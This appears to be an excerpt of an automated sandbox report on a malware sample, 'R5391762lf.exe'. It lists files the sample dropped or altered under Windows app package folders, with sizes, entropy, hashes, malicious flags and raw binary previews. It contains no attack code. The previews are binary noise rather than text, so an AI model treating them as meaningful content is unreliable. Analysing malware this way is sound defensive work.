SHA-512:	1FB555A8CD683EEFF3A3960734C531BA93490D3CF040BACBE1ECF3B42C47FF4EE258857C4991603BA1426D9BF60D600962396FF4A6497FFC2D35CDE19B4F98F5
Malicious:	false
Preview:	regf.;K..6.Ec./H.2..".Kf..5/._.{;^.c..bR#4U<[/r..."..m..I..Pf...m..1UM...;G4..l=UM.$\.3...q....B.u!T=>..mK.h.:.]......] .U.=Q..._..1......=.[>!k...t=.1.zW.../7.8yLsj....u.O....aWJE..+....!I.f..r...s#..E.$.r.0.......A...a.n..g..g....@..4a../.P_......l..m%..=.@......s&.."......x.....D..(..6.d.c.{....Y.'..]\Y..R/.$&v...+...\|0..%}..ui...]5..\|_..=a...~;..(u..=s...v&D......hNp.m...!...U.v~.i..q.}.....i...y.j6.g5:........Y6T#.Bl.#..br....y....SKr.U6..!pe;.n.\|e...`=g...d.........q..].!2..V:e.r...D......(;...<.(..A.....v^..N.'.n..,..&.M..~=?.Q.;.....j. XE.Yfd.8.....X......{........U.z..g..p3,.........q..,.[6.8..).? .9\r.7?[..s(m.....U.....).nb.....r.DJYJ.~....Y.b.j.6.....O....n........S.}../...Fl1m`&...vb...d..N*......]....c..C..p..`7.j..:.M...?.."./...,r...E.\|1...............<#...H........3~....X...^V...cL?......R..)x..s.7..O...k.:...,.R#.!..E..=.l.P...D..Af. e.:./+..<.6....M.Sw....T2M..P...q.<I.H...=R.C..c.pK..w..{.'..m.g...-.B`x

C:\Users\user\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9763915283860385
Encrypted:	false
SSDEEP:	192:3nWGWHXCVMJUNiXl6NFxxpChyfhRt4FkPqEzlsWJQJ6JztESlXjptQ:cFJUkGDCgfhRtekPqMlBQJ6JfLtQ
MD5:	AA4A6EF31F89B818059CA6B9F834E891
SHA1:	B69D9602609952A34056CD5F928314DB970391E4
SHA-256:	E651DF35C468EBDC3C1DA6BB6FE3A0EFE13B9602547DDE8058B332D46A377FDD
SHA-512:	DAC9174A8CC70A44B7D78928FD04C346CC07DF59F73AC21FF58E14963733268CFB5EA4D91F778A74AD60BF5E7545A9A0FB672FA18577C567F980F9224DE1E829
Malicious:	false
Preview:	regf...9...~..W.....+.G......3.9......iD.73z...B...?E...........).H.3.W...M2....}q=......uD...?..../.q...T..w..t.V...h..4..t..qty....d...G^...$C$.3......M.e..;.S.b....I..._.........<N..}..0...=(...~....s..x..F.%.WneD..}.....PO...9.D..K%.i$v.....{..Qky?...s=z..#.M..r......e..I'.o)D..}+...;.S.YQ..=.....R..$.x..Ckkc..hMxR...'.3~....4..z...;...r.le..n..PF.z.\s.H......C5\...!...qR-.I.s...8...s..9........D.00....g.'9..{q..8w....n.+...i.J......O.........W<D./tyo.'.d...l.\,fb..;.U..<...".?.H.h.D.....:.>c.xVV..w~..,/k./U....=J..Q..\|...o./B../... .gP...~:.D ...Y2...C5......P..?DOQ....e...ig.,...0+"..."_"L...8......E.ym.....oO..H.<.R.".D+..3.......?......$.6.K...UV.....9k%...!...H.C..e..X7ZDL.....+/.oyd... ...q.....9.!u.T.2.Z.7:Ab.....I...>..XK`.....,....D(.s.S.u[^.]...........:.X..+.,...+.BMjX.K.;.............s.V...b../...6W$ju.V...h>6...L..I.?.md.W...i9.5..vwQI..`JS.p..W.z}6..zh.4}o.K..r.yK...p......._..J@[S..1o...........M.....fI..%r.Q......

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976621037057069
Encrypted:	false
SSDEEP:	192:0oNTp+IwYZKyp/huwrT3JagsXf4F7FG8cI2daPK9ODAHYIb3MtyrgQ:j1Z3N5h7rT0jo7FKaP7wYwctyrgQ
MD5:	6FA8C0D32E0B0FE711FF56420380ABC6
SHA1:	318D0C6FFBF8A53458FB675C9185B3707F07CBD2
SHA-256:	F1463EE0D08F22603DFA461A0B96987DD173F5FD925D757C342B59534C1156ED
SHA-512:	CE2202D255B00D329E6DDBBAFF5FE513F1E9D678EEC46810837A338543183B0766079A3BF9D297D3361DBDB687C8169089E46FF12952CF8AD5F2983F23E68C33
Malicious:	false
Preview:	regf.0.I..y0../J..[.0.7[3...h.%.@...M.....`...]T........Du.I..jS.ze...0.<.AT.k.:.6..S.I..o. .d.7.s.6....25..v...B..6^.......K.>t...a.......6...._.85.t6=oO....t.@.>..\........-}.D.(. w.....5....8.....R.e.xy.[L..2......G....D&.b.}...D.....xaf.....@.$./......44....s\|.GW...8e.Y..%/.K..T..W....._.9....Q...6.ny....X5\|...9....X...C..of...nsI..#i4.^%...ejmb.NM.g9....Pk..d.q.{N.(....gS..n.S.d5."7...;.KIWt.c;.).....52..S....n{..E".K.i.....%! ......o.....c.\Jr...........o....I.q.YcW&Q.'.n..^...#...]L........[........aQL.V........i.p`&.........%S..).J..1G..A..?vf..{.......a...&.....CH..YJ..<t..E.....Q.b.?..V.u#.l....c......f.zv.....&....Eg...n@.H.f..n.Z...u...cn]..H\|.oh..,BFOg..4....8b.SY..~...<$9......5Q....j.5c.<[.H<...s-8....WG..<.8.V......].I.A.5].r>..........!......j_...Q....=......0)E...r.e....B@.>..k..x.<.R.h......,..f.....-....<...k.r..@...[Z...j.G..U.........j..%..m....p8.s}Q.C.9N~.~[..n.J.v....Ty....f..s.[95..(.Ls...k..>....P.7z.'.....

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976206444546506
Encrypted:	false
SSDEEP:	192:3G5T+/h+PTvne4sd9odxkpD2x12tMAZ5J7Z5UDd26suNQ:W5TdPDn9sdedxkp6x1eZ55y26xQ
MD5:	BD86BD96987D64DA02B9023EA7BCE395
SHA1:	E47F7A02D0C902A766206608F9EBD8811C66D7F7
SHA-256:	5314F550D179496A26149B780CFE425F06CE7071B3C2F3842C159F4937FAE871
SHA-512:	CA136DA40A3D5D420B4617DF20CC0763019D6ADB7B2AE28B44361728D028C1F8CFD65934B42056E6C2155C942221ABB3DA33EFAE7B97C6E5D580D600C127327D
Malicious:	false
Preview:	regf.....y&U.4.....h.,....G=t....Bo)\|^...s..A...9?.1a.$p.g.....I..]... 2.=y....~./Qu.x..>K.....y...N.-...(7...$...#&.?.Q.".2......u6.......b2......V.N.......71.....V.......G....-...].8....q.D@..O.w.....S.c....A....c..+......g..5. ...{..jE.ih .bq(..T........3.O...!X.m.Q.Z{...+........:....k..AP.@....<..]......;..m....waU,.a...a..<......P2.\..2nt.M.I.%..Vx.n.!.E........K.A.H.)......B.....v...h.\oaD..g..i%......./.hT.E..o\|-~k..r,6]T,..O..........i...w...c.e"....}.DP..?...r..O..^..311.w...U.`......>....\|?..n....?K.......+...W.#..'".q..ld.].gq...PW...%9>i......1...h.@v`9k...R.Sc.TC.Y_.aG.M...j..../..y..1g/...*.Nq..v...J..41..;.z......U.U..d.QP...Sb.Df..'.7.......{..-:@.^...x;...{....j.8<.#.......QS.....9."..b..R.b...eR.@.c...UL.].w..l1_...I. .R..?M&..,t.<.....4..RC...~.. q%u.OG.....L...1.@........L.....w.$..o.".~.B...C..dU?..._..G.....:i.f"`..u..8i.Q.o....u.H.$..[].&a...$.A8.'...7....j../.b.....,.K.\|.[...........NC..j...)3..W.{C...

C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979636797313006
Encrypted:	false
SSDEEP:	192:0pxUMFEvtx5h1LxTvQYTaISxFJ4neBxdrU7VJmD/gN2hbWHfmCKwYIcXaiQaQ:CUMuvn/lxTvTaISxFJZxRUVJmD021WlV
MD5:	ECD65A97673821BBC565A38EE8168499
SHA1:	4E285035356EB6F0B64B0DD3117DCDAB5715922E
SHA-256:	1F1730E288863FDA53DAB3F263323AC469CE7AB6C505DED0FAC29F3EA8BC9101
SHA-512:	B3211031CCF6C887947D299B546849447CDCD21567A8EDEE2B6C1D1FB56BB16A51119B302E477E3B702DBD3B49DCF01AB6D8D25ED5EA50F7CC83FC8745CC6AFA
Malicious:	false
Preview:	regf....f..#8...e:.,.CY.m .....\|S.g..Ba.`..$.Q..NJ; ..4K..L.o!.6......A./ :...T.W.a.Q:.QJZ...q..DU.....0W.`VY..OT....-.]....I:..V..yf.D.....q.#...+@`.....2.rx5xa$<..#.....O....Sb.p.mV.PM.....a.DA.K.....8"..^W....a..[#%.I..L.R.\J..~.FC..0...4..."..Y>F.....#.V......e/(+..Ol `".0/.).Rl......e,.\|.`45..<..H..?J~..a.....+PF....\|2....{..,..Np..$.D.ax$...=t-Z...Q......s.;k#J.%.......G.....O.d' ..`".w7..B".xv...T.D...J..V....3'................Wna.k..iK8!.Qy...[$......j.N{.o..\.o....~uo0h..v....G.~.M^{P.B.h`.\|.LF._.!.Qk.X..[0....]..M...Q@..Q.D..>.....-&..,T.:.;....2.sG.L9C>../.......4..d<U.3..9..q.G.EF[...h\|DQ..+.eFd.MMn.m..T~.%......#W\..,.6.",....F.[~.......{e........q..u$F........<....{.s....y~Y{.8I\@8u...U../...k.RS.....ueeR.w.d.93.....F.L...6.Z.i.........Ig..H:X..6.....xqE....0...@.X...#.L:..{.....a...>p...r. ...p.T...Y.Q.....08s.&..dr..../.P...M..Z..t..^..*k..b^.QO5./..v.K..-<.X:DX..-.b..(.9B./..3i.h.........<Z..2..A.(&km.p{..T....R.....+..

C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978541909325536
Encrypted:	false
SSDEEP:	192:4tkwNPqoGGkOooro+wQPHZbVVCYB23bhbznAAup3eibnopQ:QIoRkODro+fZbXCtLhbbBmopQ
MD5:	1A49C110070EA65C33EB083CCC949A0F
SHA1:	EA875172454CED5EBE9489F8B18322B867B9A0BC
SHA-256:	C807D869AFE817E256C64C336F4FE8C6ACB99864EFF27FA7E5706DC37CF0545A
SHA-512:	77A0C733E55437A38D426324A707966A779DA05F82872A1104DB81ECFF53251E4F2C87A271B793A7B190829335D79F78E41057744E05A94BDF95BD0C4E4DA09F
Malicious:	false
Preview:	regf.xK...v?....a6..M...F..m-..&8FS}3.L..D.1.N.....d...;...\=...0...S..u..q....=...:.d.%a...!+.3......[.LO.1...sJW..n.o...\.v..]q..K...g.!.d.MT.N...s...T.Owg..Qa..9..g.......7.7......t.4.soJ.}.`....X0\../P.X.D....p7..P".. b......f..gz.,?.k.[.8p......Q_$.Lb..XQ.@.;......+.~....4Fvr.K..C21.`..M...w>.#.R{\|&n...N..N.....JPa......W..&cMT.G...z"^F..Ba.!d... )E.........O.`..C;..9......s.<fZ/#..).!.._Z...lB;....M....:..I.E...Z..........X.~~...S.3.a)....].5{.... .-.&N.H....qN.{..g.h..T.`...3.\|.....D3@...T.i%.......!V..L......4wH@@&.&.^..U.`p#.r.Cu..@....yu.U.nu.h.7(:.a..U.~IY3.]i...a......h-g,1.3.6.2..0..Z..F...+...k/...Y.\...\|.f{INu....I..7..8.#..._..\|...8_.{.gqhV...6...N..s5dC G.[...L.]..O........p.o.e....M%..YN..](.>D..cc..Q.....6...-\...}....K)..O..u................\........+..w6).......G.!{L.=...J....q.M6W!..:A..&p..5``y.'...$....\...+4..A.."W(..P.f`.%.!..4x9.u...D.x..".*......!....tOI...(p.P.@...F.!..._x6.Z..d....$.5>...H..4.wZ2...f...e..&....]

C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980816297558968
Encrypted:	false
SSDEEP:	192:zNSVbcKt7mPc/qKNx7X17xwbDU8LBYhABT0VJfGdpmGBU8zI/6/BECnNQ:c5t6E/qY717xwbDTLQAp0VcFBxz86/NS
MD5:	A490C167093C00BF77727EEED9C4DC03
SHA1:	E2372C5B5649091EC90BB7F6D929D0D78A69386D
SHA-256:	E283312B11B17576F879B5B0340A73DE53C8A7F2F55E5BEBBE20BD4BBF60109C
SHA-512:	0B4FE821A9520752BED9B93F3AE7ACDFD60BC9FAD9BFFECC772C0672ECBDA1013FC579892898CCFF9169DB82F8316CD617EC0218F796E9E218782BBF73D6441C
Malicious:	false
Preview:	regf..M.F.....y.............d[.B[.-..S........H......i.=.1..;.p]F.C...U...5..K.u..... W...v.q.I.v.Tl.C....~..}.}CT.sb(...<.e.r....V...v.gw.?.j.'..}.V0%z....x....!.k.3.....H.5..G...L.:w.)..i..1.X...]_z,.Y."f.7.l......+.....b..:?.^.FdS.I....c79.}p@.s..nb.w...~.z....y.K......l...7.VTc....W=..X....~5.{..6..F.2....8.A...<f.....)n.[.Eg.K4:6._.O.8X.y...\.[..bt..N.;.oR.........C..m7:....w...'....{k......}_...K...K.r.......w.ON.B..2.w.'..=4.^i...Id.6)Z4..um..7P)...e.J.k...,....f..\|.....~....."..ZQ.4;.q1....Bo...G@?...0.6.......9R.Dm.pE;.Mi.a.W.,xV..X\....O..P.?.b./o...gS._....ty...o``aw!8D\|h.QZ.......f...V..9..z...3)L.....F..-.D.u..L".!'..G.b.3....m...].1.....I,c....s.O.c.c:........:...W/J.r..]...n...G...E.!7..}$R....". .5..H...(.4.Vb..(..\..........i..Ux...j..".[D....S;Y.\.X#.9+x.Z7..\.i........X.y...r.83..$.z.L.i.a...x....%X.06-G.........]...6.8.nG.J.._,.oD.....Q]...x...n..G...y?.L....5..@.R..0..G\|W."G.A..d.g.C.......9.\....)...jAv.t...d..Y0.Z...

C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976651443274737
Encrypted:	false
SSDEEP:	192:EJvXt4gOReEUPBkHnuE+o+pTYdWd0MSBuBaRVtbj0lmFmQ:EJPV/EUyHuy+pUdWgBzRVtWmcQ
MD5:	5D660C5426F332971C386F02746F3054
SHA1:	35E09696C69688641EC896E017B3C91678BA5F60
SHA-256:	0B4C67808F28EF7CC151A33C46316DD20D051C0FD93FFA22A46B5BAD393789D4
SHA-512:	F6259CC8D45057127857DF756A181A82CD72BFBF67AEFAD6DB075A2C4468F6C7F2565AB1257110603E1C1C33D27A1ED4ED26BBBEF3C8E6500E2E398804F05260
Malicious:	false
Preview:	regf..8^.....`&.c...e.d...,.'j.{\|.t...WZ.ky...@.....&X...t..]...Q. c...FP.).5...2...@...I.U....r.f.B..^u.b.......2jH..K..(..J....wo.4.6x.M.N<A...........~N.....v.{......:.8..(..%..F....`Xr...5....T....&.O.`k...........E....SM3..\nH.Z.......G...9J.....\|!8;h./..{..KO...2......t.<...g..V..,28.YC?.U.{..>6.?......3mK....~bV.........w...sr..'.m..rB..2........p.N=..5....7.Q....#.}.P...H..z.(......G.FO....y&}.ex..al&...V.Gb.........1&.n.eS...$/u.M..`\|.....!.........L....\|.I......q.\&.F........,F.....M%....Y...B.B-T.....3i....S.#Z.....Lq1.o$.f.o..Z.u..?d...*...}..Z".S..j%.s....k.:.L.. ..Z..2... .N..)....C.)#._.jY!wb............:....>(.y^.G.....{....4O..e.H..Vd(.....#i.<.\.-Fi...d/.+3?.G3....K.y6yd;Q..(..w.69...Zooo.....^S(.E..D.0.........).....1..JQ...E.+....;._..C....q..9M...41..Q..4....Gz6-...p.+p.h7.;S2..."u.Ko.......c.:s.\.f...#5W.P\M....c..2'.....5...:..V..V............03.Y...O..2......b..$@....d ._..i..N.{.O1.q....~Y.i#....]....;.a..C.

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979847672240075
Encrypted:	false
SSDEEP:	192:f4hzzFH8FhYt4cxDlpnGWjeO7R4MlVRaGqTaJ5Q:g1zd8FhSnDltKOeIVBqT+Q
MD5:	BE57398266A7093A0D853959BB626740
SHA1:	EFC1F2DC9D21E7C20FD6FF9FD392322C2EE7082E
SHA-256:	9F5241F72FBAFE031CFBB68E233122190DF73481076A437551F0143A3EF423C4
SHA-512:	1E0C8BCF5DC305B216BF6A4EFB467FDA98D7342478E4655B743891241AF62BEA677D043453C44EE41FC16B328586593A47E635FBA1329B38D36598EACDD8FB28
Malicious:	false
Preview:	regf..B..7...2.......C.5?..sl...d.^.hm'.8k2C.E=.{..._=..R......~s..P4.`.. ..U......{...:..........)d..>.sI.9....K68..@?....7.Z.;v..g.......,'@...}............BP...mb.\...e...v.....P....F]Z..;....../S..r.8.5d.....[..}.Q#.......e....4O.nc.F.[aPe..@._....4l2{.0..$,..X.k.V..K..t.6.....(u%...1IM.>..{9.)..!4.:.MI.\|.2....%?d..8..f.ac/.......Ps......\|R.z..1'. ....D..q. f/...o.]...nl.].?.Ao..G"...x..t..j..B..88.....)..k....E+.Q.......Y.=...A...6H._.Q.eq!*.......U.'...;6e...Q.....GXt..!.;.....'..Z,.}..-.d..9mk....7.q]..]..{3..i.].....s...z...[.%.].8a...M)%........i.....L)8...^.."Q.l=..u..;...Zt....w`...ub.cT.3..<..4....a.........\|.L..e.@.G.mZ....v......b".....g.).kE...8v.dvZ.hl\.P....X..IC..;y...JEs.r...'.. ..._x..4..c...j..18g..C.....O...=..xm.C0....\\|."...c4..".g.\|..L?._<.....+....d..o..}.C....^..!..q.o6....2[.......]...KQ..\|...$..=m.>..u>.D..q...?...=e...zS4..oo.vC.W.."n.~...dK....B.J`.;.Zyq...q..Nj....1!.Q&4.g.....5(.h.Z.g..t..H`5

C:\Users\user\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980651707084381
Encrypted:	false
SSDEEP:	192:3dQa7i+zctrrAV3GgDz7s4PD0dd4O1OMY4+j/t6XUv17ECOQ:NR7iXtr8FGgX7nIdXmA/COQ
MD5:	E964DCA35173895ADEA811D683851E02
SHA1:	ACA4101616199AD41A2BF0B95F77CDCBFAFDA891
SHA-256:	7E5103830D780E66B04BDFF852D6BEF8A18F13460BCE96F7E47D5EAB4D743284
SHA-512:	80BF89F5F87C9CBCB090C435BA41DF4B9FBF66F5B006A3E7DF958A96B7AE0B11A620440FCECAB7A0B4357E1EB5507254991CDDFE6FA8FA50D046DE48939438F7
Malicious:	false
Preview:	regf.G.yN....~37...2.$.I...?...].Gt...1g.a!..d#..w..g..D.py..\|.]r....'......;.?(...26.;.e{.iR...:.....8.gX.Q~.9.E..&.cJ4).$f...9u.Zp4.5I.].....4.r...j.Ab:......C.Z+.4@..\|.....k..g..y.&.=K2.....s...B..7EvY.....k...c..5t..B.S7,....4"A...h....8.b.N !\.'h.w^.[.. QN.~.N6%qCg<)5..V..n...+.6.~....LGd...D.j...P....-..{.n~.)....i".^.E.d...k...m^...2co..}........&......q.....D.>.;.I.a+$.Y...Co[zjx..QjQ[.T?...W.XBkW............Hc.+.'.W.S...\|?+.......J...F.../{E..t..(.....v..V.(..?9.6).}I...B.."6Y..M...C......ayV........c.Oy.OHN.C...2."\|.+.=..0.%m3...5`qEt..Rr...LmX..i..6....%..;.<..S....-TT\|-(.$....C.X\|....8...x.@..0."...`.Z.4dRd.T....r...(....s.....&D*.(.v.@(.j.A....O...<$q..+...\)>..y\|..ok..~..s.K..F5...`.0.......VY.+.......J.....bdb\.....\|#X.)x...r&...Y..nC.....U.....M$Tl......../k.v...'.D;.....z.v.....V...........C7$....#r.......X5.....K.j.:..+..:..U$....@.e....."..)\:..C...zw.q....=..V....`.R.....Yo.s#...b&.T.>..A...{P.QZ.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{09d41dfb-343c-4c64-80de-0d8ebc18a6b9}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	50409
Entropy (8bit):	7.996064160184825
Encrypted:	true
SSDEEP:	768:KhZFKjm/zJLiR+lZQDRTOaFEl9w47SnkOlSFVLO0/18lo5QEhCF5SB:6ZF1/FWQsDRaa+lb7StlmFO0/oo5XB
MD5:	564A5BF31CE829B05BB2095B68A91C91
SHA1:	D805BBAE4234519C63FB1B55E8889A68C2500551
SHA-256:	03E89F938D82747BA489C51C70EEEFA3168B4F901E9C6373264F6B7ECC7F8A73
SHA-512:	920A6D8D3ABC6D9F4D1D13574833A58E3204BC9CDCD093BFA29DF619C235550ABDCDD82E707A02A2A8671C1AF58B81ED7329000AB49CD54E6B51C139899A059C
Malicious:	true
Preview:	.....i....K..5-.-...N...8R:.p..3......x.Q....\...]._.M..........o..._.~...x5.ZEz.p..."".....p..................>.;e.r.%O..r....4..........G.C.f...s!+\..E...7.}U....E.i..O....T...3u.N...).P=?.y.>.$.XZ....&L.....<...f.Q.vvQG....Q..?.TY..._..Sr..<.;...4.J.1..06.1C....q.r...v.:.R....tM\r4Y.3$`..3.k.Q.Q....}..=3....8..C.;..j.{..,f...0.d...I..HW.a..z..7.......\|.B..7..k../...............0..4.n.h..%.Xx$.Cwqe...]f.e..].E.&...V.B..R/...]....Nc....A......{..y.T...=.Y}+.S...%...g..S......N...)....I....G.............y...)..RM.Z\.BW....:..c.@....g.t..d.c.\|$s.6...._B._......A...5.../..V..9..=F)...._.......j.EL.UN.......P.....8.'.......]9...I.8.mN.\.i.S...EE.?x..~...\..%................0.ni.^...X:.....U.1....w..1...0......8....\|C.h%...........=...Cxd.......%.f...J.r.....@qg..(.4.g...k.w...-........#..I..2..S..70.A....... ;.....Y.J'@r........Gz&... .5.......YaeT.4F;.U.....\......._.L.o.-x..6t.......`/.\E.o.c...0!.1z............n.o

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{09d41dfb-343c-4c64-80de-0d8ebc18a6b9}\Apps.index

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1124870
Entropy (8bit):	6.544785273130483
Encrypted:	false
SSDEEP:	24576:k82ySDi5NYfoyFxz8GfoLr7YfoyFxz8GFjbvy:k8ADwyf1xz8GfMwf1xz8GNu
MD5:	1DE35B3A334123F08AB06BA251B72ED5
SHA1:	1E3702C48DDB1DD1776C2FA6E491F720D185D7AF
SHA-256:	0AB1A728C4FD1759921A311CFFE1E198BE1147DDE46DC260536EEDD3AB3D1714
SHA-512:	A3BB0BB8D39090C6FF43B1E365454BBC8FB0901FF5084F6D65B83739945AA267C29724BFE48281BDFFB84A1C465B9F9130402158BBEA4DA1E36ACE18ABB7DEA6
Malicious:	false
Preview:	Ej..D...1..x..M.....QH].Y..B...'=..]A?";..4.4'.L.m.v.Y..Ic..v.....x.n.y.[..e...<$v....)3^+......\>.>/.o>..d...P..R.O.U.j...Sk1..8#..~.W.....f#Z.u.).[......e...a\|b{.Z....&.....}...N.d..M....<.z...<m...../..]..x...i..7$?....[.T~.B+..i.C...>..od.~.osK.9._........d$...2.J..+..c.j...Y...52...zJ..(>..k.7..6BeY..i./...#q:......C#_A...p%..B...u..9....i..T......L<t......\..0.J.K+ ..'.........LO........1&......oF.w.G.!.8.3..,&..6....F.,.I.O..f~.}...n.....y.3[.X...=-.T.(e..U....k,.......`rwo..u.y..J.y-..C.7O...uy...ol,.[J&...F=..9.u.+..d..B_7..U..I..&......1.&..^=.....>.......l....POOhZdWlX..4.Y ..#. .;0..B..+Z......,.9......7?\|...}.....A.8....{.sp...X.?.k/.<.]...Z...RX....1....\|....l.rRO..$.y......X4\6H> Q..x...#wf.l.....om...h:.>.REP9..w;..:.O.p..f.eq9l.*.....{.t..4".........3kN@../..f)...(.swAK;.........z..}.<..s:r.%.....~x3...5.k..4.:E)..S..s..m.Y...d.)......3.w.4rvA.mYL.....{....F<.v....+.".....+.a...f.......J.......;5.kk.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{407fe2cc-e6ee-4027-aa00-b9fdf3f5b8e5}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	37506
Entropy (8bit):	7.995013223083438
Encrypted:	true
SSDEEP:	768:uiWfXvTvDEINVXC4td4Jbv+1eVDoPYouhf8Aj5DbiWWLDM/S49MHtZwSa:jc7JcJbv+1eNGexFbijfZeMN6
MD5:	D603D8E724EB044F9FB710D91DC76815
SHA1:	1EE1A87B7DFE8C35A77054E1C114FDA94EC95F63
SHA-256:	25EDBC369114A23F49B04CD313AD3935DC183FD9D3F0EBB1E2E92BEAAA6A8B71
SHA-512:	42E2EEBC7C0F8E5CB0D5B9190DD25BA476FEAC8CD4EB41BEE93715C89F61F68AD216AB23CB4CBD5173B52FB646A6B52AFECA3D6733E926F1AA4E71CC0A993D66
Malicious:	true
Preview:	0.0...PS.G3.Ph...!.H.el..ER.._h.1..L5..>....Fn._...W.Ph]...a..[..........5..F....`... ...\....1.~.ohO....j.[.w.5...+...y....)(.\|K.g..z..,..sYK1<..=.%.L.pJ....z.U.........b..a....v..cS.1.]...u.o........~...V......R........I...'..`.Q.......:KM.t.d...4.b....'.5u...}.%......$....p0E..u..t,..9....$.....4q..D-I:..$... .}......H....F.=.4>!v./.&..T.![;.!Z%.G...w......O=...Z_...\...#.........]...uQk...e&<.9.X......}.K.&.a..`...j..t...."........5.9f.....n...WL.S..\|a..$f..On....x.......5..;}...?.lf.Z..PH.2..].W.b.I>l"...~.X.P7I.s....<@.`...%.{.......... ..VJ.-..[..C....$..~1Q6..:..4..!...Lx..N3.9L....e..Vb...H..`o0.D..!..a.%..#8e@E...j.=..w...p.k.F.....'.z......aA...(qS.......o.........3....U;..Dc..G..].r...h.<..54....\|..\|...~Y.][..5...`.q{....3.@ M#[\|.. ........,:A.<.U.K,....1.1.d....r.$.....2.7X......yU..!."b.._\.,...H...r.B.dx.K.5\2..n....$i.lB.#......J....f.)\|.lP.cp.C~......g..+.....-.V{..5..P....}.+.d ....7$=if..&..Y"..[.a........_..h

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{407fe2cc-e6ee-4027-aa00-b9fdf3f5b8e5}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	50409
Entropy (8bit):	7.9963008230555666
Encrypted:	true
SSDEEP:	1536:T1xe6dQNV6stuPRXKBYZXmlgj60MrD/rWAwWJ8nFQb2V5Vzw1:XVMw54Y9moOS7WJK+M5V8
MD5:	8B0FC32F2E8A18F01059BC1323749464
SHA1:	5444E16FB5469262E4B82F13D0BCBA7CFE5C30C5
SHA-256:	4539E198B74FDACC4965F036B147DCBFDC7C103D85D2BFBF99376EE0D6BBB894
SHA-512:	F46CB85CDE31A86DA6A099E1DF6A4385C8F6A444BD20A4568E856514BFB389CED72367533CBB7F98C9EEA080A2D5291025A535182604E734D309E780481B2BA9
Malicious:	true
Preview:	........J.F{p^?.9../7....r ...jZ.!..<K.q....&._U ..".O......,E...i..5a..feg$X...].I..?l..l\p..;.-.Fn[=.)...K...6.3Im..j...BU.l..M......G.....z.l>.@...E.g8_....;.A.\|..~...#.:.S.cO0.'....\.}S...6.J..{\|ukw..{..........{..B......p.....<\|a.c"m.........HME.. .&.Y...c.@^.t+.z.iMv.s.y........A.G..]..Q.;w}l..W..fI.\|{...\... ..q...b..N`U K.N..'......C;q....jc.!.......".7.....(O..R.....q...A..(..J..j. 6..m...r[.1.;.......h=.MX.....h8.c.X...:].c4A.....R5tc.z24.P.B..z...r.z.t.'..Z...L.....)M..C4...i.=..1S!S...L..7.C#X.95k.....]fIO..o...b.x+xiZ.xE..`.... v.....Z..A...y~...+}..i...C.^e.1U[.k.<f(l..3<W..C..wQ..o..Fn.?...u.q\|.a.........u.............G.....2..W.t..G...HgW.F..)..r.U..8.C.MA0...q.}z%.$...bI.O.j..x...<..V]3..kREv...8e...#..[...Sy}.......l.\|......Px.K*-.OeB."..7q`.\|.`w\.?{Z.%gxb.c.`..b.6z...~....../.k ..z...A:..\3...,..\|^.1.Df_..."RK1....^.p.....Yx..v@.t....a..R.L..+s..:....y.&....V.`=6.mkbNM.~.Y4.N.2.."..c....[.].........Y..Q....'^.-

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{407fe2cc-e6ee-4027-aa00-b9fdf3f5b8e5}\Apps.index

Download File

